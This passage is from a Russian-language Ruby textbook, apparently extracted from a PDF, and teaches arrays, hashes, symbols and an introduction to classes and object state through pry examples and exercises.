[2] 1
]
]
$ irb
> arr = [[0, 0, 1], [nil, 0, nil], [1, nil, 1]]
=> [[0, 0, 1], [nil, 0, nil], [1, nil, 1]]
Задание:
Попробуйте в pry вывести поле 10*10 для игры «Морской бой».
Часть 3. Время веселья 173
puts arr[4]
arr[4] = 123
arr[4][8] = 123
А вот так можно вывести значение девятого столбца в пятой строке (альтерна-
тивный способ):
row = arr[4] # на этом этапе row уже будет одномерный (обычный) массив
column = row[8]
puts column
Обратите внимание, что название переменной для индекса — i (от слова index).
Если у нас есть более одной переменной для индекса, берется следующая буква
в алфавите (j, а если массив трехмерный, то k). Впрочем, эти правила не
являются каким-то стандартом, а всего-лишь наблюдением авторов.
1 arr = [
2 %w(a b c),
3 %w(d e f),
4 %w(g h i)
5 ]
6
7 0.upto(2) do |j|
8 0.upto(2) do |i|
9 print arr[j][i]
10 end
11 end
Вывод программы:
abcdefghi
%w(a b c)
%w(d e f)
%w(g h i)
1 arr = [
2 %w(a b c),
3 %w(d e f),
4 %w(g h i)
5 ]
6
7 arr.each do |row|
8 row.each do |value|
9 print value
10 end
11 end
Разумеется, что сам массив можно записать без помощи %w (согласитесь, что
читаемость этого подхода немного ниже?):
arr = [
['a', 'b', 'c'],
['d', 'e', 'f'],
['g', 'h', 'i']
]
Задание 1
Обойдите массив выше «вручную», без помощи циклов, крест-
накрест, таким образом, чтобы вывести на экран строку aeiceg (под-
программа займет 6 строк — по 1 строке для каждого элемента).
Часть 3. Время веселья 177
Задание 2
Cоздайте 2D-массив размером 3*3. Каждый элемент будет иметь
одинаковое значение (например, «something»). Сделайте так, чтобы
каждый элемент массива был защищен от upcase!. Например, если
мы вызовем arr[2][2].upcase!, этот вызов не изменит содержимое
других ячеек массива. Проверьте свое задание в pry.
Задание 3
К вам обратился предприниматель Джон Смит. Джон говорит, что
его бизнес специализируется на создании телефонных номеров для
рекламы. Они хотят подписать с вами контракт, но прежде хотелось
бы убедиться, что вы хороший программист, можете работать с их
требованиями и доставлять качественное программное обеспечение.
Они говорят: у нас есть номера телефонов с буквами. Например,
для бизнеса по продаже матрасов существует номер «555-MATRESS»,
который транслируется в «555-628-7377». Когда наши клиенты наби-
рают буквенный номер на клавиатуре телефона (см. картинку ниже),
он транслируется в цифровой. Напишите программу, которая будет
переводить (транслировать) слово без дефисов в телефонный номер.
Сигнатура метода будет следующей:
Часть 3. Время веселья 178
def phone_to_number(phone)
# ваш код тут...
end
Клавиатура телефона
Часть 3. Время веселья 179
Многомерные массивы
1 arr = [
2 [
3 %w(a b c),
4 %w(d e f),
5 %w(g h i)
6 ],
7 [
8 %w(aa bb cc),
9 %w(dd ee ff),
10 %w(gg hh ii)
11 ]
12 ]
Это массив 2*3*3: два блока, в каждом блоке 3 строки, в каждой строке 3
столбца.
Задание 1
Попробуйте создать массив, объявленный выше в pry, и обратиться к
элементу «ee».
Задание 2
Посмотрите официальную документацию к классу Array⁴².
Метод empty?
Знак вопроса на конце метода означает, что метод будет возвращать значение
типа Boolean (true или false). Метод empty? используется для того, чтобы
убедиться в том, что массив не пустой (или пустой). Если массив пустой
(empty), то empty? возвращает true:
$ pry
> [].empty?
=> true
Важный момент заключается в том, что объект nil не реализует метод empty?.
То есть если вы не уверены, что какой-то метод возвращает массив, необходи-
мо сделать проверку на nil:
arr = some_method
if !arr.blank?
puts arr.inspect
end
if arr.present?
puts arr.inspect
end
Источник⁴³
Таблица выше очень важная, стоит сделать особую заметку в книге. Как
видно, методы blank? и present? совершенно противоположные (последний и
предпоследний столбцы). А из второго столбца следует, что только nil и false
⁴³https://stackoverflow.com/a/20663389/337085
Часть 3. Время веселья 183
if true
# будет выполнено
end
if ''
# будет выполнено
end
if ' '
# будет выполнено
end
if []
# будет выполнено
end
# ...
И так далее.
Также из таблицы видно, что метод empty? реализован для типов String, Array,
Hash.
Методы length и size идентичны и реализованы для классов Array, String, Hash:
Часть 3. Время веселья 184
str = 'something'
str.size # => 9
str.length # => 9
hh = { a: 1, b: 2 }
hh.size # => 2
hh.length # => 2
$ pry
> [0, 0, 1, 1, 0, 0, 1, 0].count { |x| x == 0 }
5
[0, 0, 1, 1, 0, 0, 1, 0].count(&:zero?)
Важно заметить, что count с блоком обычно проходит по всему массиву. Если
вы используете метод count в Rails, необходимо убедиться, чтобы запрос был
эффективным (Rails и SQL будут рассмотрены во второй части книги).
Часть 3. Время веселья 185
Задание:
С помощью указателя на функцию посчитайте количество четных
элементов в массиве [11, 22, 33, 44, 55].
Метод include?
$ pry
> [1, 2, 3, 5, 8].include?(3)
true
$ node
> [1, 2, 3, 5, 8].includes(3);
true
Добавление элементов
также структуру данных «стек». Представьте себе «стек» тарелок, когда одна
тарелка стоит на другой. Мы кладем одну наверх и берем так же сверху.
Но есть операции unshift и shift, которые делают то же самое, что и push, pop,
но только с началом массива. Нередко у программистов возникает путаница
при использовании unshift и shift, но важно помнить (или уметь посмотреть
в документации) следующее:
Полезная метафора тут может быть такая: shift сдвигает элементы и возвра-
щает тот элемент, которому не досталось места.
Допустим, у нас есть список работников, у которых указан возраст. Нам нужно
выбрать всех мужчин, которым в следующем году на пенсию. Для простоты
предположим, что одного работника представляет какой-либо объект. Так как
хеши мы еще не проходили, то пусть это будет массив. Первым элементом
массива будет возраст, вторым — пол (1 для мужчины, 0 для женщины).
Знакомьтесь, мужчина 30 лет:
[30, 1]
Женщина 25 лет:
[25, 0]
$ pry
> arr = [ [30, 1], [25, 0], [64, 1], [64, 0], [33, 1] ]
...
> arr.select { |element| element[0] == 64 && element[1] == 1 }
(выбран 1 элемент)
$ pry
> arr = [ [30, 1], [25, 0], [64, 1], [64, 0], [33, 1] ]
...
> arr.select { |element| element[1] == 1 }
(выбрано 3 элемента)
$ pry
> arr = [ [30, 1], [25, 0], [64, 1], [64, 0], [33, 1] ]
...
> arr.reject { |element| element[0] >= 30 }
(выбран 1 элемент двадцати пяти лет, который скоро пойдет в армию)
Метод take
$ pry
> [11, 22, 33, 44, 55].take(2)
=> [11, 22]
Допустим, у нас есть массив результатов лотереи. Нам нужно проверить, есть
ли хотя бы один выигрыш. Из определения метода (знак вопроса в конце)
понятно, что метод возвращает значение типа Boolean. В блоке должна быть
конструкция сравнения, т.к. внутри метод any? будет использовать то, что мы
укажем в блоке:
$ pry
> [false, false, false, true, false].any? { |element| element == true }
true
Код выше показывает, что среди 5 билетов есть 1 выигрыш. Этот метод только
сообщает о том, что выигрыш имеется, он не говорит, какой именно билет
Часть 3. Время веселья 189
$ pry
> [false, false, false, true, false].find_index { |element| element == \
true }
3
Работает!
$ pry
> [20, 34, 65, 23, 18, 44, 32].all? { |element| element >= 18 }
true
• для массива чисел (например, 11, 22, 33, 44, 55) вернуть все элементы,
кроме первого;
• для массива чисел вернуть все элементы, кроме последнего.
Какие ещё способы вы можете предложить? Пожалуй, вот такой способ может
сработать:
arr2 = arr[1..-1]
Вроде бы все понятно, но вам не кажется, что метод drop немного странный?
Почему он удаляет элемент в начале массива? Кто-то скажет, что для уда-
ления элемента в конце массива можно использовать метод pop. И это так,
обязательно попробуйте это в вашем REPL. Но можете ли вы сказать, в чем
принципиальное отличие drop от pop?
Ура! Но что-то не так. Можете ли вы догадаться, что именно? Мало того, что
метод drop работает в начале массива (по мнению авторов, это не совсем
не понятно), так ещё и метод pop меняет состояние системы, т.е. исходного
массива. В то время как drop не меняет это состояние.
А что, если сравнить Руби с другими языками? Вот как выглядит вывод в языке
Python:
$ python
>>> arr[2:]
[33, 44, 55]
>>> arr[:-2]
[11, 22, 33]
Задание 1
Попробуйте все эти методы самостоятельно.
Часть 3. Время веселья 194
Задание 2
Создайте массив из пяти элементов и попробуйте вернуть массивы
без первых двух элементов и без последних двух элементов. Ваш код
не должен изменять состояние исходного массива.
Символы
x = :something
order.status = :confirmed
order.status = :cancelled
order.status = 'confirmed'
order.status = 'cancelled'
Это примерно так же, как и билет в театр. Можно каждой бумажке от руки
написать «Сектор А», а можно сделать печать «Сектор А» и на определенных
билетах ее ставить. Ведь поставить печать — занятие значительно менее
ресурсоемкое, чем писать что-то от руки. Тем более каждую надпись нужно
еще суметь разобрать, а вот печать универсальна, точно знаешь, что это такое.
Будет создано 100 строк something, эти строки будут находиться в разных
участках памяти, это будут разные объекты. В этом легко убедиться, иденти-
фикатор объектов будет разный:
> arr[0].__id__
70100682145140
> arr[1].__id__
70100682144840
$ pry
> arr = Array.new(100) { :something }
…
> arr[0].__id__
2893788
> arr[1].__id__
2893788
Задание
Напишите игру «Камень, ножницы, бумага» ([:rock, :scissors,
:paper]). Пользователь делает свой выбор и играет с компьютером.
Начало игры может быть таким:
if s == ...
добавлен сначала, какой после. В хеше нет никакого порядка, как только мы
записали туда значение, нет возможности сказать, когда именно оно туда
попало: раньше или позже остальных.
Hashes enumerate their values in the order that the corresponding keys
were inserted.
Однако в новой версии языка JavaScript (ES6 и выше) класс Map (альтерна-
тивная реализация хеша {}) будет возвращать значения из хеша в порядке
добавления. Правило хорошего тона: при использовании хешей не надейтесь
на порядок.
$ pry
> obj = {}
...
> obj.class
Hash < Object
Ключом и значением в хеше может быть любой объект, но чаще всего ключ —
это строка (или символ), а значение… Значение — это действительно объект,
сложно предсказать, что это будет. Это может быть строка, символ, массив,
⁴⁵https://docs.oracle.com/javase/7/docs/api/java/util/Dictionary.html
Часть 3. Время веселья 201
число, другой хеш. Поэтому когда в Руби определяют хеш (записывают его в
программе), в уме обычно заранее знают, какого типа значение (value) будет
в нем содержаться.
obj = {}
obj[:soccer_ball] = 410
obj[:tennis_ball] = 58
obj[:golf_ball] = 45
Если записать эту программу в REPL и вывести объект на экран (написав obj),
то мы увидим следующую запись:
{
:soccer_ball => 410,
:tennis_ball => 58,
:golf_ball => 45
}
Эта запись полностью валидна с точки зрения языка Руби, и мы могли бы ини-
циализировать наш хеш без записи значений (без использования операции
присвоения):
Часть 3. Время веселья 202
obj = {
:soccer_ball => 410,
:tennis_ball => 58,
:golf_ball => 45
}
Оператор => в Руби называется hash rocket (в JavaScript fat arrow, но имеет
другое значение). Однако запись с помощью hash rocket считается устарев-
шей. Правильнее было бы записать так:
obj = {
soccer_ball: 410,
tennis_ball: 58,
golf_ball: 45
}
obj = {}
obj[:golf_ball] = 45
obj['golf_ball'] = 45
то в хеш будет добавлено две пары ключ-значение (первый ключ типа Symbol,
второй типа String):
Задание
Используя инициализированный хеш из примера ниже, напишите
код, который адаптирует этот хеш для условий на Луне. Известно,
что вес на Луне в 6 раз меньше, чем вес на Земле.
obj = {
soccer_ball: 410,
tennis_ball: 58,
golf_ball: 45
}
Задание
«Лунный магазин». Используя хеш с новым весом из предыдущего за-
дания, напишите программу, которая для каждого типа спрашивает
пользователя, какое количество мячей пользователь хотел бы купить
в магазине (ввод числа из консоли). В конце программа выдает общий
вес всех товаров в корзине. Для сравнения программа должна также
выдавать общий вес всех товаров, если бы они находились на Земле.
Часть 3. Время веселья 204
Мы уже разобрались с тем, что хеш — это набор key-value pairs (пара ключ-
значение), где key — это обычно Symbol или String, а value — это объект. В
нашем примере в качестве объекта всегда было число. Но мы также можем
использовать объекты любого другого типа в качестве значений, включая
строки, массивы и даже сами хеши.
obj = {
soccer_ball: { weight: 410, colors: [:red, :blue] },
tennis_ball: { weight: 58, colors: [:yellow, :white] },
golf_ball: { weight: 45, colors: [:white] }
}
Для каждого ключа выше мы определяем свой хеш, который, в свою очередь,
представляет такие параметры, как weight (вес, число, тип Integer) и доступные
для этого товара цвета (colors, массив символов). Несмотря на то что послед-
нюю строку можно было записать как
Часть 3. Время веселья 205
arr = obj[:tennis_ball][:colors]
puts arr
weight = obj[:golf_ball][:weight]
puts weight
obj[:tennis_ball][:colors].push(:green)
obj = [
{ type: :soccer_ball, weight: 410, colors: [:red, :blue] },
{ type: :tennis_ball, weight: 58, colors: [:yellow, :white] },
{ type: :golf_ball, weight: 45, colors: [:white] }
]
Задание 1
Корзина пользователя в интернет-магазине определена следующим
массивом (qty — количество единиц товара, которое пользователь
хочет купить, type — тип):
Часть 3. Время веселья 207
cart = [
{ type: :soccer_ball, qty: 2 },
{ type: :tennis_ball, qty: 3 }
]
inventory = {
soccer_ball: { available: 2, price_per_item: 100 },
tennis_ball: { available: 1, price_per_item: 30 },
golf_ball: { available: 5, price_per_item: 5 }
}
{
todos: [{
text: 'Покушать',
completed: true
}, {
text: 'Сходить в спортзал',
completed: false
}],
visibility_fiter: :show_completed
}
{
todos: [ { ... }, { ... }, ... ],
visibility_fiter: :show_completed
}
{
todos: [{
text: 'Покушать',
completed: true
}, {
text: 'Сходить в спортзал',
completed: false
}],
visibility_fiter: :show_all
}
{
todos: [{
text: 'Покушать',
completed: true
}, {
text: 'Сходить в спортзал',
completed: false
}, {
text: 'Позвонить Геннадию',
completed: false
}],
visibility_fiter: :show_all
}
Часть 3. Время веселья 211
Задание 1
Напишите хеш, который бы отображал состояние следующего прило-
жения:
Часть 3. Время веселья 212
Задание 2
Напишите программу, которая будет принимать хеш, который вы
определили в предыдущей задаче, и выводить результат на экран.
Убедитесь, что переключатель работает и программа не выводит
приход, если переключатель включен.
Англо-русский словарь
dict = {
'cat' => 'кошка',
'dog' => 'собака',
'girl' => 'девушка'
}
arr = [
{ word: 'cat', translation: 'кошка' },
{ word: 'dog', translation: 'собака' },
{ word: 'girl', translation: 'девушка' }
]
В любом случае, хеш нам больше подходит, даже если количество элементов
небольшое. Когда мы используем хеш (или другую структуру данных), мы
также показываем свое намерение другим программистам: «эта структура дан-
ных вот такая, а следовательно, я намереваюсь использовать ее правильным
образом».
Конечно, если бы для каждого слова мы точно знали индекс, то поиск в массиве
занимал бы константное время. Но пользователь не вводит индекс, он вводит
слово. Поэтому и нужна структура данных «хеш». Поиск в хеше выполняется
простой конструкцией:
Часть 3. Время веселья 215
dict[input]
dict = {
'cat' => 'кошка',
'dog' => 'собака',
'girl' => 'девушка'
}
Константное O(1) и линейное O(N) время — это понятия о т.н. Big-O (большое
O), понятие из Computer Science. Начинающему программисту нет необходи-
мости знать абсолютно все структуры данных и сложные алгоритмы. Однако
полезно задавать себе вопросы о теоретической скорости работы той или иной
Часть 3. Время веселья 216
Плакат по информатике
Задание 1
Напишите «сложный» англо-русский словарь, где каждому англий-
скому слову может соответствовать несколько переводов (например:
cat — это «кот», «кошка»).
⁴⁶https://github.com/ro31337/bigoposter/blob/master/bigoposter.pdf
Часть 3. Время веселья 217
Задание 2
Задайте базу данных (хеш) своих контактов. Для каждого контакта
(фамилия) может быть задано три параметра: email, cell_phone (номер
мобильного телефона), work_phone (номер рабочего телефона). Напи-
шите программу, которая будет спрашивать фамилию и выводить на
экран контактную информацию.
$ node
> hh = {};
{}
> hh['something'] = 'blabla';
'blabla'
> hh
{ something: 'blabla' }
redis.get("mykey")
# => "hello world"
Тут у читателя возникает вопрос: а зачем мне Redis-хеш, когда у меня есть хеш
в языке Руби? Во-первых, хеш в языке Руби не сохраняет данные на диск. А во-
вторых, Redis предназначен для эффективного хранения многих миллионов
пар «ключ-значение», а хеш в языке Руби обычно не хранит много пар.
Как мы будем решать эту задачу? Представим, что у нас есть строка «the quick
brown fox jumps over the lazy dog». Разобьем ее на части:
str = 'the quick brown fox jumps over the lazy dog'
arr = str.split(' ')
У нас получился массив слов, давайте обойдем этот массив и занесем каждое
значение в хеш, где ключом будет слово, а значением — количество повторов
этого слова. Попробуем для начала количество повторов установить в единицу.
Как это сделать? Очень просто:
hh = {}
arr.each do |word|
hh[word] = 1
end
arr.each do |word|
if hh[word].nil?
hh[word] = 1
else
hh[word] += 1
end
end
1 str = 'the quick brown fox jumps over the lazy dog'
2 arr = str.split(' ')
3 hh = {}
4
5 arr.each do |word|
6 if hh[word].nil?
7 hh[word] = 1
8 else
9 hh[word] += 1
10 end
11 end
12
13 puts hh.inspect
В самом деле, у нас два слова «the», а остальных по одному. Но эту программу
можно было бы значительно облегчить, если знать, что в хеше можно устано-
вить значение по умолчанию:
str = 'the quick brown fox jumps over the lazy dog'
arr = str.split(' ')
hh = Hash.new(0)
arr.each do |word|
hh[word] += 1
end
puts hh.inspect
Строка Hash.new(0) говорит языку Руби о том, что если слово не найдено, то
будет возвращено автоматическое значение — ноль. Если бы мы объявили
хеш без значения по умолчанию, то получили бы ошибку «NoMethodError:
undefined method + for nil:NilClass», ведь Руби попытался бы сложить nil и
единицу, а этого делать нельзя:
$ pry
[1] pry(main)> nil + 1
NoMethodError: undefined method `+` for nil:NilClass
Часть 3. Время веселья 223
Задание
Напишите программу, которая считает частотность букв и выводит
на экран список букв и их количество в предложении.
Допустим, что нам нужно вызвать какой-то метод и передать ему несколько
параметров. Например, пользователь выбрал определенное количество фут-
больных мячей, мячей для тенниса и мячей для гольфа. Мы хотим написать
метод, который считает общий вес. Это может быть сделано обычным спосо-
бом:
x = total_weight(3, 2, 1)
Три футбольных мяча, два мяча для тенниса, один для гольфа. Согласитесь,
что когда мы смотрим на запись total_weight(3, 2, 1), не очень понятно, что
именно означают эти параметры. Это мы знаем, что сначала идут футбольные
мячи, потом должны идти мячи для тенниса, потом для гольфа. Но чтобы это
понять другому программисту, нужно посмотреть на сам метод.
Часть 3. Время веселья 224
def total_weight(options)
a = options[:soccer_ball_count]
b = options[:tennis_ball_count]
c = options[:golf_ball_count]
puts a
puts b
puts c
# ...
end
1 def total_weight(options)
2 a = options[:soccer_ball_count]
3 b = options[:tennis_ball_count]
4 c = options[:golf_ball_count]
5 puts a
6 puts b
7 puts c
8 # ...
9 end
Часть 3. Время веселья 226
10
11 x = total_weight(soccer_ball_count: 3, tennis_ball_count: 2, golf_ball_\
12 count: 1)
Но что будет, если мы вызовем этот метод вообще без каких-либо аргументов?
По идее, метод должен вернуть ноль. Но мы получаем сообщение об ошибке:
Решение очень простое: сделать так, чтобы параметр options принимал какое-
либо значение по умолчанию. Например, пустой хеш. Если хеш будет пустой,
то переменные a, b, c будут инициализированы значением nil и метод
можно будет вызывать без параметров. Указать значение по умолчанию можно
в определении метода с помощью знака «равно»:
def total_weight(options={})
...
1 def total_weight(options={})
2 a = options[:soccer_ball_count]
3 b = options[:tennis_ball_count]
4 c = options[:golf_ball_count]
5 puts a
6 puts b
7 puts c
8 # ...
9 end
10
11 x = total_weight(soccer_ball_count: 3, tennis_ball_count: 2, golf_ball_\
12 count: 1)
1 def total_weight(options={})
2 a = options[:soccer_ball_count]
3 b = options[:tennis_ball_count]
4 c = options[:golf_ball_count]
5 (a * 410) + (b * 58) + (c * 45) + 29
6 end
7
8 x = total_weight(soccer_ball_count: 3, tennis_ball_count: 2, golf_ball_\
9 count: 1)
...
> total_weight
NoMethodError: undefined method '*' for nil:NilClass
$ pry
> nil * 410
NoMethodError: undefined method '*' for nil:NilClass
if nil || true
puts 'Yay!'
end
Программа выведет «Yay!», потому что Руби увидит nil, это выражение его не
удовлетворит, потом встретит логический оператор «или» и решит вычислить
то, что находится после этого логического оператора. А после находится true,
и результат выражения nil || true равняется в итоге true (истина), которое
передается оператору if (если). Получается конструкция «если истина, то
вывести на экран Yay!».
x = nil || 123
a = options[:soccer_ball_count] || 0
1 def total_weight(options={})
2 a = options[:soccer_ball_count] || 0
3 b = options[:tennis_ball_count] || 0
4 c = options[:golf_ball_count] || 0
5 (a * 410) + (b * 58) + (c * 45) + 29
6 end
7
8 x = total_weight(soccer_ball_count: 3, tennis_ball_count: 2, golf_ball_\
9 count: 1)
1 def total_weight(options={})
2 a = options[:soccer_ball_count] || 0
3 b = options[:tennis_ball_count] || 0
4 c = options[:golf_ball_count] || 1
5 (a * 410) + (b * 58) + (c * 45) + 29
6 end
Задание
Центр управления полетами поручил вам задание написать метод
launch (от англ. «запуск»), который будет принимать набор опций в
виде хеша и отправлять в космос астронавтов Белку и/или Стрелку.
Метод должен принимать следующие параметры:
• launch;
• launch(angle: 91);
• launch(delay: 3);
• launch(delay: 3, angle: 91);
• launch(astronauts: [:belka])
• и т.д.
$ pry
> hh = {}
=> {}
> hh[:red] = 'ff0000'
=> "ff0000"
> hh[:green] = '00ff00'
=> "00ff00"
> hh[:blue] = '0000ff'
=> "0000ff"
> hh.keys
=> [:red, :green, :blue]
Set в переводе с английского языка — это набор, множество. То есть это просто
набор каких-то данных, объединенных каким-то признаком.
Нам нужно написать метод, который будет возвращать true, если в предло-
жении содержатся все буквы, и false, если каких-то букв не хватает. Как мы
могли бы написать эту программу?
Что не так с обычным хешем в этой задаче? То, что, добавляя в хеш, мы должны
указывать какое-то значение:
Часть 3. Время веселья 234
hh[letter] = true
21 set.size == 26
22 end
23
24 # выведет true, т.к. в этом предложении используются все буквы англ. ал\
25 фавита
26 puts f('quick brown fox jumps over the lazy dog')
Задание 1
В программе выше допущена ошибка, которая приведет к большим
расходам вычислительных ресурсов на больших строках. Сможете ли
вы ее увидеть?
Задание 2
После того как вы прочитали эту главу, попробуйте потренироваться
и написать эту программу самостоятельно, не подсматривая в книгу.
Итерация по хешу
arr.each do |element|
# do something with element
end
hh = {
soccer_ball: 410,
tennis_ball: 58,
golf_ball: 45
}
hh.each do |k, v|
puts "Вес #{k} равняется #{v}"
end
hh = {
soccer_ball: 410,
tennis_ball: 58,
golf_ball: 45
}
hh.each do |k, _|
puts "На складе есть #{k}"
end
Задание
Имеются следующие данные:
data = {
soccer_ball: { name: 'Футбольный мяч', weight: 410, qty: 5 },
tennis_ball: { name: 'Мяч для тенниса', weight: 58, qty: 10 },
golf_ball: { name: 'Мяч для гольфа', weight: 45, qty: 15 }
}
На складе есть:
Футбольный мяч, вес 410 грамм, количество: 5 шт.
Мяч для тенниса, вес 58 грамм, количество: 10 шт.
Мяч для гольфа, вес 45 грамм, количество: 15 шт.
Метод dig
users = [
{ first: 'John', last: 'Smith', address: { city: 'San Francisco', c\
ountry: 'US' } },
{ first: 'Pat', last: 'Roberts', address: { country: 'US' } },
{ first: 'Sam', last: 'Schwartzman' }
]
users.each do |user|
puts user[:address][:city]
end
San Francisco
$ pry
> users[0][:address][:city]
=> "San Francisco"
> users[1][:address][:city]
=> nil
> users[2][:address][:city]
NoMethodError: undefined method `[]' for nil:NilClass
users.each do |user|
if user[:address]
puts user[:address][:city]
end
end
users = [
{
first: 'John',
last: 'Smith',
address: {
city: 'San Francisco',
country: 'US',
street: {
line1: '555 Market Street',
line2: 'apt 123'
}
}
},
{ first: 'Pat', last: 'Roberts', address: { country: 'US' } },
{ first: 'Sam', last: 'Schwartzman' }
]
users.each do |user|
if user[:address]
puts user[:address][:street][:line1]
end
end
users.each do |user|
if user[:address] && user[:address][:street]
puts user[:address][:street][:line1]
end
end
users.each do |user|
puts user.dig(:address, :street, :line1)
end
Примечание
Когда вы будете работать с Rails, вы столкнетесь с похожим методом
try и т.н. safe navigation operator (тоже был представлен впервые
в версии 2.3.0): &., в других языках программирования обозначается
как ?. (иногда ошибочно говорят «Elvis operator» — это понятие
относится к немного другой конструкции). Safe navigation operator
похож по своей сути на метод dig. Мы рекомендуем взглянуть на
страницу в Википедии⁴⁹, для того чтобы иметь представление, зачем
это нужно.
$ pry
> hh = { login: 'root', password: '123456' }
...
> hh.has_key?(:password)
true
>
Задание
Объясните, чем отличается JSON вида
⁴⁹https://en.wikipedia.org/wiki/Safe_navigation_operator
Часть 3. Время веселья 244
{
"books": [
{
"id": 1,
"name": "Tom Sawyer and Huckleberry Finn",
},
{
"id": 2,
"name": "Vingt mille lieues sous les mers",
}
]
}
от
{
"books": {
"1": {
"name": "Tom Sawyer and Huckleberry Finn"
},
"2": {
"name": "Vingt mille lieues sous les mers"
}
}
}
Классы и объекты
Технический чертеж
Также и класс один, объектов много. Мы можем объявить один класс и создать
на его основе множество объектов:
1 class Car
2 end
3
4 car1 = Car.new
5 car2 = Car.new
6 car3 = Car.new
Все эти объекты будут храниться в памяти компьютера. Вот, в общем-то, и все
объяснение, теперь вы знаете, что такое классы и что такое объекты.
Состояние
• двигатель;
• лобовое стекло;
• кузов;
• двери;
• колеса и т.д.
class Car
def initialize
@state = :closed
end
def open
@state = :open
end
def how_are_you
puts "My state is #{@state}"
end
end
car1 = Car.new
car1.how_are_you
car2 = Car.new
car2.open
car2.how_are_you
My state is closed
My state is open
car777 = car1
def initialize
@state = :closed
end
Этот метод всегда вызывается при создании нового объекта. Другими словами,
когда вы пишете Car.new, будет вызван метод initialize. Не понятно, почему
в языке Руби выбрали такое длинное слово, в котором легко сделать ошибку.
Согласитесь, что гораздо проще выглядел бы такой код:
Часть 4. Введение в ООП 251
class Car
def new
# ...
end
end
Car.new
class Car {
constructor() {
console.log('hello from constructor!');
}
}
class Car
def initialize
puts 'hello from constructor!'
end
end
car1 = Car.new
class Foo
def m1
aaa = 123
puts aaa
end
def m2
puts aaa
end
end
foo = Foo.new
foo.m1 # сработает, будет выведено 123
foo.m2 # будет ошибка, переменная не определена
class Foo
def initialize
@aaa = 123
end
def m1
puts @aaa
end
def m2
puts @aaa
end
Часть 4. Введение в ООП 254
end
foo = Foo.new
foo.m1
foo.m2
class Foo
def m1
@aaa = 123
puts @aaa
end
def m2
puts @aaa
end
end
foo = Foo.new
foo.m1
foo.m2
123
123
123
puts aaa
Кто-то скажет «выводит переменную aaa на экран». И будет прав, ведь можно
записать программу полностью следующим образом:
aaa = 123
puts aaa
def aaa
rand(1..9)
end
puts aaa
class Car
def initialize
@state = :closed
end
# новый метод
def state
@state
end
def open
@state = :open
end
def how_are_you
puts "My state is #{@state}"
end
end
def close
@state = :closed
end
attr_reader :state
attr_writer :state
Этот код просто создает в классе два метода, для чтения переменной и для ее
записи:
def state
@state
end
def state=(value)
@state = value
end
Первый метод нам уже знаком — мы его создали для возврата состояния.
Второй метод, по сути, уже содержит в себе знак «равно» и используется для
присваивания. Но attr_reader и attr_writer можно заменить на всего лишь
одну строку:
attr_accessor :state
class Car
attr_accessor :state
def initialize
@state = :closed
end
def how_are_you
puts "My state is #{@state}"
end
end
Пример использования:
car1 = Car.new
car1.state = :open
car2 = Car.new
car2.state = :broken
car1.how_are_you
car2.how_are_you
My state is open
My state is broken
Задание 1
Напишите класс Monkey («обезьянка»). В классе должно быть: 1)
реализовано два метода: run, stop; 2) каждый из методов должен
менять состояние объекта; 3) напишите логику так, чтобы снаружи
можно было узнать только о состоянии класса, но нельзя было его мо-
дифицировать. Создайте экземпляр класса Monkey, вызовите методы
объекта и проверьте работоспособность программы.
Задание 2
Сделайте так, чтобы при инициализации класса Monkey экземпляру
присваивалось случайное состояние. Создайте массив из десяти обе-
зьянок. Выведите состояние всех элементов массива на экран.
Вроде бы более или менее понятно, что такое состояние. Но как оно использу-
ется на практике? В чем его преимущество? Зачем держать состояние внутри
⁵²https://vk.com/@physics_math-skryvaite-sekrety-inkapsuliruite-detali-realizacii
Часть 4. Введение в ООП 264
Как уже было замечено выше, объект — это живой организм. На практике
оказалось полезным не заводить несколько переменных с разными именами,
а инкапсулировать их под одной крышей. Представим, что у нас есть робот,
который движется по земле, а мы на него смотрим сверху вниз. Робот начи-
нает движение в какой-то точке и может ходить вверх, вниз, влево и вправо
произвольное количество шагов.
class Robot
attr_accessor :x, :y
def initialize
@x = 0
@y = 0
end
def right
self.x += 1
end
def left
self.x -= 1
end
def up
self.y += 1
end
def down
self.y -= 1
end
end
robot1 = Robot.new
robot1.up
robot1.up
robot1.up
robot1.right
Часть 4. Введение в ООП 266
x = 1, y = 3
arr.each do |robot|
m = [:right, :left, :up, :down].sample
robot.send(m)
end
Трюк заключается в двух строках внутри блока. Первая строка выбирает слу-
чайный символ из массива и присваивает его переменной m. Вторая строка
«отправляет сообщение» объекту — это просто такой способ вызвать метод (в
Руби могли бы назвать этот метод более понятным словом: call вместо send).
Часть 4. Введение в ООП 267
# Класс робота
class Robot
# Акцессоры — чтобы можно было узнать координаты снаружи
attr_accessor :x, :y
def right
self.x += 1
end
def left
Часть 4. Введение в ООП 268
self.x -= 1
end
def up
self.y += 1
end
def down
self.y -= 1
end
end
# Массив из 10 роботов
arr = Array.new(10) { Robot.new }
loop do
# Хитрый способ очистить экран
puts "\e[H\e[2J"
# Задержка в полсекунды
sleep 0.5
Часть 4. Введение в ООП 270
end
.............................................................
.............................................................
.............................................................
.............................*...............................
.............................................................
...........................*.......*.........................
.............................................................
...........................*.................................
............................*................................
...............................*.*...........................
............................*................................
.............................................................
.............................................................
.............................................................
........................*.......*............................
.............................................................
.............................................................
.............................................................
.............................................................
Демо: https://asciinema.org/a/jMB47AhjBnxgMofSgIVzHObIH⁵³.
⁵³https://asciinema.org/a/jMB47AhjBnxgMofSgIVzHObIH
Часть 4. Введение в ООП 271
Задание
Пусть метод initialize принимает опцию — номер робота. Сделайте
так, чтобы номер робота был еще одним параметром, который будет
определять его состояние (так же, как и координаты). Измените ме-
тоды up и down — если номер робота четный, эти методы не должны
производить операции над координатами. Измените методы left и
right — если номер робота нечетный, эти методы также не должны
производить никаких операций над координатами. Попробуйте до-
гадаться, что будет на экране при запуске программы.
interface IListener {
void Sit();
}
If it walks like a duck, and it quacks like a duck, then it has to be a duck.
(Перевод: если что-то ходит как утка и крякает как утка, то это утка
и есть.)
class Duck
def walk
end
def quack
end
end
# Утка
class Duck
def walk
end
def quack
end
end
# Собака
class Dog
def walk
end
def quack
end
end
— Но зачем это все? — спросит читатель. — Это все сложно, какое этому может
быть применение в реальной жизни?
class Robot
# ...
def label
'*'
end
end
class Dog
# ...
Часть 4. Введение в ООП 276
def label
'@'
end
end
# Класс робота
class Robot
# Акцессоры — чтобы можно было узнать координаты снаружи
attr_accessor :x, :y
def right
Часть 4. Введение в ООП 277
self.x += 1
end
def left
self.x -= 1
end
def up
self.y += 1
end
def down
self.y -= 1
end
@x = options[:x] || 0
@y = options[:y] || 0
